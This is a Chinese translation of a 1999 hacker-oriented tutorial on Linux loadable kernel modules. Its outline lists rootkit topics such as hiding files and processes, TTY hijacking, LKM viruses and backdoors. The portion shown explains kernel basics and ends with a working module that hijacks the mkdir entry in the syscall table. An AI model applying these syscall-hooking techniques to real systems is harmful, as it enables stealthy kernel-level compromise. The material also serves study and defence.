Linux可装载模块完全指南

written by pragmatic / THC, version 1.0
released 03/1999
译:quack / 安全焦点

译者的话:在操作系统开发者的站点看到本文的节译,由于不全,看着有些昏,这篇文章很早 就见着过,这里有许多篇付是直接照搬他们的译文,至多做了一些文法上的修饰吧,另外把他 们没有翻译的部分——只剩下还不到一半的文章——全部翻出来,方便不想看鬼子话的家伙了;) 另外,文章中的例子都是基于linux的2.0.x核心的,对于现在常见的2.2.x并不完全适用, 而文章中的一些理论什么的也不应照搬了,但我因为水平有限,仅是直译,而且有很多地方自己 还不是太理解,翻译肯定有不当,不要骂我……原文本站也有,可以参照阅读。关于文中的测试程 序,我和一些朋友正在学习和移植中,听说绿盟的backend已经完成了这一工作,如果有问题的 不妨到绿盟的BBS上去请教。至于freebsd的lkm译文,再等一小段时间吧,我测试时freebsd 一直要崩掉,见了鬼,似乎也是内核版本的问题……;( 在此我向 操作系统开发者表示感谢——虽然不认识;)

目录

简介

I. 基础
1. 什么是可卸载模块
2. 什么是系统调用
3. 什么是核心符号表(Kernel-Symbol-Table)
4. 如何将核心转换到用户空间
5. 象使用函数一样访问用户空间的方法
6. 看看极其重要的内核函数
7. 什么是核心守护进程
8. 建立你自己的Devices

II. 有趣及有益的一些东西
1. 如何截获系统调用
2. 用来截取的一些有趣的系统调用

2.1 寻找有趣的系统调用
3. 对付系统核心符号表

4. 文件系统相关的操作

4.1 如何隐藏文件
4.2 如何隐藏文件列表(完全地)
4.3 如何部份地隐藏文件
4.4 如何观察/重定向文件操作
4.5 关于文件所有者(UID)的一些问题
4.6 如何让别人无法存取我们的工具箱目录
4.7 如何改变CHROOT环境
5. 系统进程相关操作
5.1 如何隐藏进程
5.2 如何重定向可执行文件
6. 网络(socket)相关操作
6.1 如何控制socket的操作
7. TTY Hijacking的方法
8. 用LKMs来编写病毒
8.1 LKM病毒是如何感染文件的
8.2 我们如何利用LKM病毒
9. 使我们的LKM更隐蔽并且无法移除
10.使用核心守护进程的其它方法
11.如何检查LKM是否在运行

III. 解决办法(给网络管理员)
1. LKM检测理论

1.1 一个可用的检测器的原形
1.2 一个密码保护的create_module(...)的例子
2. 防止LKM传染者的方法
3 让人们无法接触到你的程序(原理)
3.1 一个可用的Anti-Tracer原型
4. 用LKMs使你的linux核心更强壮
4.1 关于程序执行权限的限制
4.2 Link补丁
4.3 /proc许可权限补丁
4.4 安全级(securelevel)补丁
4.5 原始磁盘(rawdisk)补丁

IV. 一些不错的想法(给黑客的)
1. 欺骗系统管理员的LKMs
2. 修补内核 - 或者创建我们自己的OS

2.1 怎样在/dev/kmem中找到内核符号表
2.2 新的无须内核支持的insmod
3. 最后

V. 将来 : Kernel 2.2
1. 对LKM作者来说主要的区别

VI. 写在最后
1. LKM的"故事"以及如何使一个系统既好用又安全
2. 一些资源的链接

感谢

致意

附录

A - 源代码

a) LKM Infection by Stealthf0rk/SVAT
b) Heroin - the classic one by Runar Jensen
c) LKM Hider / Socket Backdoor by plaguez
d) LKM TTY hijacking by halflife
e) AFHRM - the monitor tool by Michal Zalewski
f) CHROOT module trick by FLoW/HISPAHACK
g) Kernel Memory Patching by ?
h) Module insertion without native support by Silvio Cesare


简介

Linux操作系统在现在是越来越普遍地用于各种服务器了.因此,入侵Linux在今天也变得越来越有趣.目前最好的攻击Linux的技术就是修改内核代码.由于一种叫做可卸载内核(Loadable KernelModules(LKMs))的机制, 我们有可能编写在内核级别运行的代码,而这种代码可以允许我们接触到操作系统中非常敏感的部分.在过去有一些很好的关于LKM知识的文本或者文件,他们介绍一些新的想法,方法以及一名Hacker所梦寐以求的完整的LKMs. 而且也有一些很有趣的公开的讨论(在新闻组,邮件列表).
然而为什么我还要再写这些关于LKMs的东西呢?下面是我的一些理由 :

  • 在过去的教材中常常没有为那些初学者提供很好的解释.而这个教材中有很大一部分的基础章节.这是为了帮助那些初学者理解概念的.我见过很多人 使用系统的缺陷或者监听器然而却丝毫不了解他们是如何工作的.在这篇文章中我包含了很多带有注释的源代码,只是为了帮助那些认为入侵仅仅是一些工具游戏的 初学者!
  • 每一个发布的教材不过把话题集中在某个特别的地方.没有一个完整的指导给那些关注LKMs的Hacker.这篇文章会覆盖几乎所有的关于LKMs的资料(甚至是病毒方面的).
  • 这篇文章是从Hacker或者病毒的角度进行讨论的,但是系统管理员或者内核的开发者也可以参考并从中学到很多东西.
  • 以前的文章介绍一些利用LKMs进行入侵的优点或者方法,但是总是还有一些东西是我们过去从来没有听说过的.这篇文章会介绍一些新的想法给大家.(并非全部是最新的资料,但总是对我们有帮助的……)
  • 这篇文章会介绍一些简单的防止LKM攻击的方法
  • 本文会介绍如何通过使用一些像运行时内核补丁(Runtime Kernel Patching)这样的方法来对付这些防御措施。
要记住这些新的想法仅仅是通过利用一些特殊的模块来实现的.要在现实中真正使用他们还需要对他们进行改进。
这篇文章的主要目的是给大家在整个LKM上一个大方向上的指导.在附录A中,我会给大家一些实用的LKMs,并附上一些简短的注释(这是为那些新手的),以及如何使用他们.
整篇文章(除了第五部分)是基于 Linux 2.0.x的80x86机器的.我测试了所有的程序和代码段.为了能够正常使用这里提供的绝大部分代码,你的Linux系统必须有LKM支持.只有在第四 部分会给大家一些不需要LKM支持的源代码.本文的绝大多数想法一样可以在Linux2.2.x上实现(也许你会需要一些小小的改动)。
这篇文章会有一个特别的章节来帮助系统管理员进行系统安全防护.你(作为一名Hacker)也必须仔细阅读这些章节.你必须要知道所有系统管理员知道的,甚至更多.你也会从中发现很多优秀的想法.这也会对你开发高级的入侵系统的LKMs有所帮助. 因此,通读这篇文章吧.!
警告 : 本文的仅用于教育目的,任何对这篇文档的不当利用,责任自负……

I. 基础

1. 什么是LKMS

LKMs就是可卸载的内核模块(Loadable Kernel Modules)。这些模块本来是Linux系统用于扩展他的功能的。使用LKMs的优点有: 他们可以被动态的加载,而且不需要重新编译内核。由于这些优点,他们常常被特殊的设备(或者文件系统),例如声卡等使用。
每个LKM至少由两个基本的函数组成:
int init_module(void) /*用于初始化所有的数据*/
{
  ...
}

void cleanup_module(void) /*用于清除数据从而能安全地退出*/
{
  ...
}

加载一个模块(常常只限于root能够使用)的命令是: # insmod module.o 这个命令让系统进行了如下工作:

  • 加载可执行的目标文件(在这儿是module.o)
  • 调用 create_module这个系统调用(至于什么叫系统调用,见1.2)来分配内存.
  • 一些不能解决问题的引用由系统调用get_kernel_syms进行查找引用。
  • 在此之后系统调用init_module将会被调用用来初始化LKM->执行 int inti_module(void) 等等
内核符号将会在1.3节中内核符号表中解释。
到目前为止,我想我们可以写出我们第一个小的LKM来演示一下这些基本的功能是如何工作的了:

 

#define MODULE
#include <Linux/module.h>

int init_module(void)
{
  printk("<1>Hello World\n");
  return 0;
}

void cleanup_module(void)
{
  printk("<1>Bye, Bye");
}

你可能会奇怪为什么在这里我用printk(....)而不是printf(.....).在这里你要明白内核编程是完全不同于普通的用户环境下的编程的!
你只能使用很有限的一些函数(见1.6)仅使用这些函数你是干不了什么的.因此,你将会学会如何使用你在用户级别中用的那么多函数来帮助你入侵内核.耐心一些,在此之前我们必须做一点其他的.....
上面的那个例子可以很容易的被编译:

# gcc -c -O3 helloworld.c

# insmod helloworld.o

OK,现在我们的模块已经被加载了并且给我们打印出了那句很经典的话.现在你可以通过下面这个命令来确认你的 LKM确实运行在内核级别中:
# lsmod

Module Pages Used by helloworld 1 0

这个命令读取在 /proc/modules 的信息来告诉你当前那个模块正被加载.'Pages' 显示的是内存的信息(这个模块占了多少内存页面).'Used by'显示了这个模块被系统 使用的次数(引用计数).这个模块只有当这个计数为0时才可以被除去.在检查过这个以后,你可以用下面的命令卸载这个模块。

# rmmod helloworld

好了,这不过是我们朝LKMs迈出的很小的一步.我常常把这些LKMs于老的DOS TSR程序做比较,(是的,我知道他们之间有很多地方不一样),那些TSR能够常驻在内存并且截获到我们想要的中断.Microsoft's Win9x 有一些类似的东西叫做VxD.关于这些程序的最有意思的一点在于他们都能够挂在一些系统的功能上,在Linux 中我们称这些功能为系统调用。

2. 什么是系统调用

我希望你能够明白,每个操作系统在内核中都有一些最为基本的函数给系统的其他操作调用.在Linux系统中这些函数就被称为系统调用(System Call).他们代表了一个从用户级别到内核级别的转换.在用户级别中打开一个文件在内核级别中是通过sys_open这个系统调用实现的.在/usr/include/sys/syscall.h中有一个完整的系统调用列表.下面的列表是我的syscall.h
#ifndef  _SYS_SYSCALL_H
#define  _SYS_SYSCALL_H

#define  SYS_setup    0 /* 只被init使用,用来启动系统的 */
#define SYS_exit    1
#define SYS_fork    2
#define SYS_read    3
#define SYS_write    4
#define SYS_open    5
#define SYS_close    6
#define SYS_waitpid    7
#define SYS_creat    8
#define SYS_link    9
#define SYS_unlink    10
#define SYS_execve    11
#define SYS_chdir    12
#define SYS_time    13
#define SYS_prev_mknod    14
#define SYS_chmod    15
#define SYS_chown    16
#define SYS_break    17
#define SYS_oldstat    18
#define SYS_lseek    19
#define SYS_getpid    20
#define SYS_mount    21
#define SYS_umount    22
#define SYS_setuid    23
#define SYS_getuid    24
#define SYS_stime    25
#define SYS_ptrace    26
#define SYS_alarm    27
#define SYS_oldfstat    28
#define SYS_pause    29
#define SYS_utime    30
#define SYS_stty    31
#define SYS_gtty    32
#define SYS_access    33
#define SYS_nice    34
#define SYS_ftime    35
#define SYS_sync    36
#define SYS_kill    37
#define SYS_rename    38
#define SYS_mkdir    39
#define SYS_rmdir    40
#define SYS_dup      41
#define SYS_pipe    42
#define SYS_times    43
#define SYS_prof    44
#define SYS_brk      45
#define SYS_setgid    46
#define SYS_getgid    47
#define SYS_signal    48
#define SYS_geteuid    49
#define SYS_getegid    50
#define SYS_acct    51
#define SYS_phys    52
#define SYS_lock    53
#define SYS_ioctl    54
#define SYS_fcntl    55
#define SYS_mpx      56
#define SYS_setpgid    57
#define SYS_ulimit    58
#define SYS_oldolduname    59
#define SYS_umask    60
#define SYS_chroot    61
#define SYS_prev_ustat    62
#define SYS_dup2    63
#define SYS_getppid    64
#define SYS_getpgrp    65
#define SYS_setsid    66
#define SYS_sigaction    67
#define SYS_siggetmask    68
#define SYS_sigsetmask    69
#define SYS_setreuid    70
#define SYS_setregid    71
#define SYS_sigsuspend    72
#define SYS_sigpending    73
#define SYS_sethostname    74
#define SYS_setrlimit    75
#define SYS_getrlimit    76
#define SYS_getrusage    77
#define SYS_gettimeofday  78
#define SYS_settimeofday  79
#define SYS_getgroups    80
#define SYS_setgroups    81
#define SYS_select    82
#define SYS_symlink    83
#define SYS_oldlstat    84
#define SYS_readlink    85
#define SYS_uselib    86
#define SYS_swapon    87
#define SYS_reboot    88
#define SYS_readdir    89
#define SYS_mmap    90
#define SYS_munmap    91
#define SYS_truncate    92
#define SYS_ftruncate    93
#define SYS_fchmod    94
#define SYS_fchown    95
#define SYS_getpriority    96
#define SYS_setpriority    97
#define SYS_profil    98
#define SYS_statfs    99
#define SYS_fstatfs    100
#define SYS_ioperm    101
#define SYS_socketcall    102
#define SYS_klog    103
#define SYS_setitimer    104
#define SYS_getitimer    105
#define SYS_prev_stat    106
#define SYS_prev_lstat    107
#define SYS_prev_fstat    108
#define SYS_olduname    109
#define SYS_iopl    110
#define SYS_vhangup    111
#define SYS_idle    112
#define SYS_vm86old    113
#define SYS_wait4    114
#define SYS_swapoff    115
#define SYS_sysinfo    116
#define SYS_ipc      117
#define SYS_fsync    118
#define SYS_sigreturn    119
#define SYS_clone    120
#define SYS_setdomainname  121
#define SYS_uname    122
#define SYS_modify_ldt    123
#define SYS_adjtimex    124
#define SYS_mprotect    125
#define SYS_sigprocmask    126
#define SYS_create_module  127
#define SYS_init_module    128
#define SYS_delete_module  129
#define SYS_get_kernel_syms  130
#define SYS_quotactl    131
#define SYS_getpgid    132
#define SYS_fchdir    133
#define SYS_bdflush    134
#define SYS_sysfs    135
#define SYS_personality    136
#define SYS_afs_syscall    137 /* 用于Andrew文件系统的syscall */
#define  SYS_setfsuid    138
#define  SYS_setfsgid    139
#define  SYS__llseek    140
#define SYS_getdents    141
#define SYS__newselect    142
#define SYS_flock    143
#define SYS_syscall_flock  SYS_flock
#define SYS_msync    144
#define SYS_readv    145
#define SYS_syscall_readv  SYS_readv
#define SYS_writev    146
#define SYS_syscall_writev  SYS_writev
#define SYS_getsid    147
#define SYS_fdatasync    148
#define SYS__sysctl    149
#define SYS_mlock    150
#define SYS_munlock    151
#define SYS_mlockall    152
#define SYS_munlockall    153
#define SYS_sched_setparam  154
#define SYS_sched_getparam  155
#define SYS_sched_setscheduler  156
#define SYS_sched_getscheduler  157
#define SYS_sched_yield    158
#define SYS_sched_get_priority_max  159
#define SYS_sched_get_priority_min  160
#define SYS_sched_rr_get_interval  161
#define SYS_nanosleep    162
#define SYS_mremap    163
#define SYS_setresuid    164
#define SYS_getresuid    165
#define SYS_vm86    166
#define SYS_query_module  167
#define SYS_poll    168
#define SYS_syscall_poll  SYS_poll

#endif  /* <sys/syscall.h> */

每个系统调用都有一个预定义的数字(见上表),那实际上是用来进行这些调用的.内核通过中断 0x80来控制每一个系统调用.这些系统调用的数字以及任何参数都将被放入某些寄存器(比如说, eax是用来放那些代表系统调用的数字)
那些系统调用的数字是一个被称之为sys_call_table[]的内核中的数组结构的索引值.这个结构把系统调用的数字映射到实际使用的函数。
OK,这些是继续阅读所必须的足够知识了.下面的表列出了那些最有意思的系统调用以及一些简短的注释.相信我,为了你能够真正的写出有用的LKM你必须确实懂得那些系统调 用是如何工作的。

系统调用 描述
int sys_brk(unsigned long new_brk); 改变DS(数据段)的大小->这个系统调用会在1.4中讨论
int sys_fork(struct pt_regs regs); 著名的fork()所用的系统调用
int sys_getuid ()
int sys_setuid (uid_t uid)
...
用于管理UID等等的系统调用
int sys_get_kernel_sysms(struct kernel_sym *table) 用于存取系统函数表的系统调用(->1.3)
int sys_sethostname (char *name, int len);
int sys_gethostname (char *name, int len);
sys_sethostname是用来设置主机名(hostname)的,sys_gethostname是用来取的
int sys_chdir (const char *path);
int sys_fchdir (unsigned int fd);
两个函数都是用于设置当前的目录的(cd ...)
int sys_chmod (const char *filename, mode_t mode);
int sys_chown (const char *filename, mode_t mode);
int sys_fchmod (unsigned int fildes, mode_t mode);
int sys_fchown (unsigned int fildes, mode_t mode);
用于管理权限的函数
int sys_chroot (const char *filename); 用于设置运行进程的根目录的
int sys_execve (struct pt_regs regs); 非常重要的系统调用->用于执行一个可执行文件的(pt_regs是堆栈寄存器)
long sys_fcntl (unsigned int fd, unsigned int cmd, unsigned long arg); 改变fd(打开文件描述符)的属性的
int sys_link (const char *oldname, const char *newname);
int sym_link (const char *oldname, const char *newname);
int sys_unlink (const char *name);
用于管理硬/软链接的函数
int sys_rename (const char *oldname, const char *newname); 用于改变文件名
int sys_rmdir (const char* name);
int sys_mkdir (const *char filename, int mode);
用于新建\删除目录
int sys_open (const char *filename, int mode);
int sys_close (unsigned int fd);
所有和打开文件(包括新建)有关的操作,还有关闭文件的.
int sys_read (unsigned int fd, char *buf, unsigned int count);
int sys_write (unsigned int fd, char *buf, unsigned int count);
读写文件的系统调用
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count); 用于取得文件列表的系统调用(ls...命令)
int sys_readlink (const char *path, char *buf, int bufsize); 读符号链接的系统调用
int sys_selectt (int n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp); 多路复用I/O操作
sys_socketcall (int call, unsigned long args); socket 函数
unsigned long sys_create_module (char *name, unsigned long size);
int sys_delete_module (char *name);
int sys_query_module (const char *name, int which, void *buf, size_t bufsize, size_t *ret);
用于模块的加载/卸载和查询.

以上就是我认为入侵者会感兴趣的系统调用.当然如果要获得系统的root权你有可能需要一些特殊的系统调用, 但是作为一个hacker他很可能会拥有一个上面列出的最基本的列表.在第二部分中你会知道如何利用这些系统调用来实现你自己的目的。

 

3. 什么是核心符号表(Kernel-Symbol-Table)

好了,现在我们已经了解了关于系统调用和模块的一些基本概念了,但是还有一个重要的知识点——核心符号表(the Kernel Symbol Table),我们先看看/proc/ksyms吧,所有的对这个文件的进入都在一个公共的能存取我们的LKM的核心符号中表现出来了,好好研究一下这个文件吧,你会发现一些有趣的东西。
这个文件的确是很有用的,它可以告诉我们——我们的LKM成功的加载了,但有一利必有一弊,系统管理员同样可以发现我们的LKM并且将它杀掉。
有许多方法可以防止系统管理员发现我们的LKM,你可以从第II部份得到这方面的信息。
在 第II部分提及的方法是hacks——对系统的利用及更改、渗透……,但你无法在该章节找到关于"让/proc/ksyms不显示LKM符号"的资源, 呵,原因是:你不需要对/proc/ksyms进行欺骗,LKM的开发者们可以用下面的方法来限制符号输出于/proc/ksyms:
static struct symbol_table module_syms= { /*定义了我们的符号表!*/
#include <linux/symtab_begin.h>       /*我们要export出去的符号*/
  ...                          
};

register_symtab(&module_syms);        /*正常注册*/

现在,如果我们不想把符号export出去,那么只要用下面的代码就可以了:
   register_symtab(NULL);
记往,它必须插入到init_module()函数块中! 

 

4. 如何将核心转换到用户空间

直到现在我们叙述的都是相当基础而且简单的东西,往下的资料可能较难理解(但也并非高级技术)
我们有着许多优势——因为我们是在核心内编程,但同时也有一些不足,系统调用从用户模式取得参数(它通常被如libc之类的wrappers包装着),但我们的LKM是在内核空间运行的。在II部分你可以看到检测一个systemcall 的参数是非常重要的——这样才能使它正确运行。那么,我们如何才能使用户模式的参数传递到核心中呢?
解决办法 : 我们做一个 转换.

这对非核心黑客的人可能难于理解,但其实是相当简单的,看下面的systemcall:

int sys_chdir (const char *path)

想象一下,系统调用了它,而我们在中途将其截获(具体方法将在II描述),我们需要检查用户希望设定的路径,所以我们要得到const char *path的值,如果你想用下面的方式打印出path变量的话:

printk("<1>%s\n", path);

在这里你将碰上大问题了……
记住你是在内核空间里,你无法轻易地象平常那样读取用户的内存空间,还好,在Pharck 52 期中, plaguez给了我们一个方法,它用核心模式函数(uses a kernel mode function)(宏)来找回用户内存空间的字节:

#include <asm/segment.h>

get_user(pointer);

这个函数指向我们的 *path 的位置,可以帮助我们从用户模式获取需要的内容到内核空间,可以观察下面由 plaguez提供的,将某strings从用户模式移到内核空间的例子:

char *strncpy_fromfs(char *dest, const char *src, int n)
{
   char *tmp = src;
   int compt = 0;

   do {
  dest[compt++] = __get_user(tmp++, 1);
   }
   while ((dest[compt - 1] != &#39;\0&#39;) && (compt != n));

   return dest;
}

如果你想转换 *path 变量,我们可以使用下面的核心代码:

char *kernel_space_path;

kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*分配内存空间于核心*/
(void) strncpy_fromfs(test, path, 20);            /*调用plaguez的函数*/
printk("<1>%s\n", kernel_space_path);            /*现在我们可以自由地使用该数据了*/
kfree(test);                             /*释放内存*/

以上的代码可以很好的运行,因为一般的转换相当复杂,plaguez仅仅用来转换strings,如果要转换常规的数据,那么下面的代码可能是最易实现的了: 

#include <asm/segment.h>

void memcpy_fromfs(void *to, const void *from, unsigned long count);


这两个函数都是同一类型的,但第二个更适合用于数据传输,plaguez的那个可于用于字符传递。
现在我们已经了解了如何从用户内存空间转换到内核空间了,余下的部分就有些困难了——因为我们无法轻易地从我们的内核空间的位置分配一块内存给用户模式,如果能解决这一问题的话,我们就能用:

#include <asm/segment.h>

void memcpy_tofs(void *to, const void *from, unsigned long count);


来完成目前的转换,但如何给*to这个指针分配内存空间呢,plaguez在phrack的文章里给出了一个解决办法:

/*需要brk调用*/
static inline _syscall1(int, brk, void *, end_data_segment);

...

int ret, tmp;
char *truc = OLDEXEC;
char *nouveau = NEWEXEC;
unsigned long mmm;

mmm = current->mm->brk;
ret = brk((void *) (mmm + 256));
if (ret < 0)
  return ret;
memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);

这是一个很好的例子。 current是一个指向当前进程structure的指针; mm是一个指向mm_struct的指针,负责进程的内存控制。然后通过使用brk系统调用于current->mm->brk我们就可以增 加未使用的数据段的大小。而且大家知道通过对数据段的操作,我们可以分配内存,所以通过加大未使用的范围大小,我们可以给current进程分配内存空 间,这一空间可以用来拷贝内核空间到用户模式。
你可能会对上面代码的第一行感到有些迷惑,这一行帮我们使用用户模式(user space)的函数于内核空间(kernel space),所有的用户模式函数通过宏_syscall(...)提供我们一些调用(如fork,brk,open,read,write),所以我们可以通过_syscall(...)构造一些user space函数,这儿呢,是brk(...)。
请参见I.5 来察看细节。

5. 象使用函数一样访问用户空间的方法

你在I.4 见到了我们利用系统调用的宏来建立我们自己的brk call的例子,其实许多用户空间的库函数(如fork、 brk、open、read、write等)最终都是通过相关系统调用实现的。系统调用brk在内核源代码中通过_syscall1(...)宏定义的实现如下:(代码从/asm/unistd.h中抽取)
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
  : "=a" (__res) \
  : "0" (__NR_##name),"b" ((long)(arg1))); \
if (__res >= 0) \
  return (type) __res; \
errno = -__res; \
return -1; \
}


你并不需要弄懂这段代码的全部功能,它只不过是用_syscall1所提供的参数(参见I.2)来调用 0x80中断罢了。name所表示的是我们所需要的那个系统调用(name会被替换成在/asm/unistd.h中定义的 __NR_name)(按:也就是说如果我们在构建brk, 这里的name的值就是brk, 将会得到__NR_brk, 至于 __NR_brk的值是什么,得去查一下/asm/unistd.h; 同理,下面提到的open对应__NR_open). brk函数就是通过这样的途径构造出来的。其他拥有不同数目的函数是通过其他宏来实现的(如 _syscallX, X代表函数的总参数个数)。(按:有一个参数的函数用_syscall1(...), 两个的用_syscall2(...), 依此类推)。
除了用宏定义重定义系统调用外,还有更简单的方法:  

int (*open)(char *, int, int); /*声明函数原型*/

open = sys_call_table[SYS_open];  /*这里你也可以使用 __NR_open*/


这种方法你并不需要用任何的系统宏调用,你只要用sys_call_table中得到的函数指针就行了。当搜索 WEB的时候,发现SVAT的著名LKM infector也是用这种方法来构建用户空间函数的。我个人认为这是一个好的方法,但(是否如此)得由你自己来检验和判断。
当你传递参数给那些系统调用的时候要小心,它们需要的参数要求要在用户空间而不是在你的内核空间。想了解如何把你的内核空间数据传递到用户空间的内存中,请参阅I.4。
一 个非常容易的(我认为是最好的)下手点就是摆弄一下所需要的寄存器。Linux使用了段选器来区分内核空间、用户空间等等,这是你必需要了解的。被系统调 用所用到的而存放在用户空间中的参数应该在数据段选器(所指的)范围的某个地方。[我在I.4节中没有提到,因为在这一节中提更合适。]
DS能够用asm/segment.h中的get_ds()函数得到。只要我们把被内核用来指向用户段的段选器设成所需要的 DS值,我们就能够在内核中访问系统调用所用到的(那些在用户地址空间中的)那些用做参数值的数据。这可以通过调用set_fs(...)来做到。但要小心,访问完系统调用的参数后,你一定要恢复FS。好,让我们来看看一段有用的代码:

->filename在你的内核空间;比如说我们刚创建了一个字串

unsigned long old_fs_value=get_fs();

set_fs(get_ds);          /*完成之后你就可以存取用户空间了*/
open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
set_fs(old_fs_value);      /*恢复 fs ...*/

在我看来,这应该是最简单快捷的实现方法了。
记住:到目前为止我所列举的函数(brk, open)都是通过使用一个单一系统调用来实现的。但是还有一些归了类的在用户空间使用的函数,它们都集中在一起只用一个系统调用来实现。看一看在I.2节中那些我们感兴趣的系统调用列表,比如说sys_socketcall吧, 它(集中)实现了每一个和socket相关的函数(creation, closing, sending, recieving, ...).
所以当你构建你的函数时要小心,一定要看一下内核的源代码。

6. 6. 看看极其重要的内核函数

在文章的开头我介绍了printk(..)函数,这是一个任何人可以在核心编程中运用的函数,所以叫内核函数。下面的表中列出了一些最重要,我们可能会经常用到的核心函数:

函数/宏 描述
int sprintf (char *buf, const char *fmt, ...);
int vsprintf (char *buf, const char *fmt, va_list args);
用来将数据包装成字符的函数
printk (...) 仿佛printf……功能相同
void *memset (void *s, char c, size_t count);
void *memcpy (void *dest, const void *src, size_t count);
char *bcopy (const char *src, char *dest, int count);
void *memmove (void *dest, const void *src, size_t count);
int memcmp (const void *cs, const void *ct, size_t count);
void *memscan (void *addr, unsigned char c, size_t size);
内存函数
int register_symtab (struct symbol_table *intab); 参见 I.1
char *strcpy (char *dest, const char *src);
char *strncpy (char *dest, const char *src, size_t count);
char *strcat (char *dest, const char *src);
char *strncat (char *dest, const char *src, size_t count);
int strcmp (const char *cs, const char *ct);
int strncmp (const char *cs,const char *ct, size_t count);
char *strchr (const char *s, char c);
size_t strlen (const char *s);
size_t strnlen (const char *s, size_t count);
size_t strspn (const char *s, const char *accept);
char *strpbrk (const char *cs, const char *ct);
char *strtok (char *s, const char *ct);
字符串比较函数等等……
unsigned long simple_strtoul (const char *cp, char **endp, unsigned int base); 将字符转化为数字
get_user_byte (addr);
put_user_byte (x, addr);
get_user_word (addr);
put_user_word (x, addr);
get_user_long (addr);
put_user_long (x, addr);
用来进入用户内存的函数
suser();
fsuser();
检查超级用户的权限
int register_chrdev (unsigned int major, const char *name, struct file_o perations *fops);
int unregister_chrdev (unsigned int major, const char *name);
int register_blkdev (unsigned int major, const char *name, struct file_o perations *fops);
int unregister_blkdev (unsigned int major, const char *name);
用来注册设备驱动的函数
..._chrdev -> 字符设备
..._blkdev -> 块设备

请记住,这些函数也可以象上面I.5 节所描述的那样进行利用,但并不是非常实用。
下面你将发现这些函数,特别是字符串比较函数,对实现我们的目的有很大帮助。

7. 什么是核心守护进程

唔,我们到了这一基本篇的最后一块理论了,现在我将解释Kernel-Daemon(/sbin/kerneld),也就是核心守护进程的作 用,正如它的名字所示的那样,这是一个在user space里等待做某事的进程。要使用kerneld首先你必须在编译核心的时候将其选项打开,它的功能表现如下:一旦核心需要某个设备驱动(或者其它什 么东西)的时候——但其实并没有加载,这时它并不是简单地提示错误,而是将这个请求发送给kerneld,如果kerneld能够提供这一设备驱动,就将 需要的LKM加载,而kernel就可以继续干他的活了,因此用这一技术可以使核心在真正需要的时候才加载LKM。
kerneld存在于用户进程 空间,如果kernel需要一个新的模块,这个守护进程会收到一个kernel发来的字符串表明哪个模块需要加载,有可能kernel发送的是普通的设备 名称而非object文件名,这时就需要检查/etc/modules.conf,该文件里包含了这个系统里需要的LKM的设备名称。
下面的这个/etc/modules.conf表明eth0需要DEC Tulip driver LKM :
# /etc/modules.conf # or /etc/conf.modules - this differs alias eth0 tulip 上面是在用户进程空间里由kerneld守护进程所做的事,在内核空间,主要是由来个函数来提供的,这些函数全部基于系统调用kerneld_send,想要了解更复杂的细节可以参见linux/kerneld.h,下面是这4个函数的基本情况:

function description
int sprintf (char *buf, const char *fmt, ...);
int vsprintf (char *buf, const char *fmt, va_list args);
用来将数据包装成字符的函数
int request_module (const char *name); 告诉kerneld说kernel需要哪些模块,给出名称或者ID
int release_module (const char* name, int waitflag); 卸载模块
int delayed_release_module (const char *name); 延迟卸载
int cancel_release_module (const char *name); 取消对一个delayed_release_module的调用

注意 : Kernel 2.2 使用了另一种机制来呼出模块,你可以从第V部份得到相关资料。

8. 建立你自己的Devices

在附录A里面介绍了一个TTY Hijacking工具,需要打开一个device来记录它的结果,现在我们先看一个非常基础的device driver的例子。下面的代码——仅为示范用的,它几乎什么也不做……;)

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

/*仅是一个用来验证的无功能的函数*/
static int driver_open(struct inode *i, struct file *f)
{
  printk("<1>Open Function\n");
  return 0;
}

/*注册所有的函数*/
static struct file_operations fops = {
   NULL,            /*lseek*/
   NULL,            /*read*/
   NULL,            /*write*/
   NULL,            /*readdir*/
   NULL,            /*select*/
   NULL,            /*ioctl*/
   NULL,            /*mmap*/
   driver_open,       /*open, take a look at my dummy open function*/
   NULL,            /*release*/
   NULL            /*fsync...*/
};


int init_module(void)
{
  /*以major 40 来注册driver及name driver*/
  if(register_chrdev(40, "driver", &fops)) return -EIO;
    return 0;
}

void cleanup_module(void)
{
  /*卸下driver*/
  unregister_chrdev(40, "driver");
}

这里最重要的函数是register_chrdev(...),它用来注册我们的driver,如果你希望访问这个driver,按下面的方法:
# mknode /dev/driver c 40 0

# insmod driver.o

这些事都做完了后,你就可以利用这个device了,当然它除了打印一行字出来以外,没有其它任何功能了,在file_operations 这个结构中给出了这个driver提供给系统的各种可能的操作,上面仅仅是演示了一个简单的device,你完全可以简单地仿照上面的示范做一个device,比如,如果你希望记录数据——比如击键,你就需要一个buffer来存放它,并充当一个用户界面。

II. 有趣及有益的一些东西

1. 如何截获系统调用

现在我们开始入侵LKM,在正常情况下LKMs是用来扩展内核的(特别是那些硬件驱动)。然而我们的‘Hacks’做一些不一样的事情。他们会截获系统调用并且更改他们,为了改变系统某些命令的响应方式。

下面的这个模块可以使得任何用户都不能创建目录。这只不过是我们随后方法的一个小小演示。

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];     /*sys_call_table 被引入,所以我们可以存取他*/         

int (*orig_mkdir)(const char *path); /*原始系统调用*/


int hacked_mkdir(const char *path)
{
   return 0;                  /*一切正常,除了新建操作,该操作什么也不做*/
}

int init_module(void)           /*初始化模块*/
{
   orig_mkdir=sys_call_table[SYS_mkdir];
   sys_call_table[SYS_mkdir]=hacked_mkdir;
   return 0;
}

void cleanup_module(void)        /*卸载模块*/
{
   sys_call_table[SYS_mkdir]=orig_mkdir; /*恢复mkdir系统调用到原来的那个*/
}

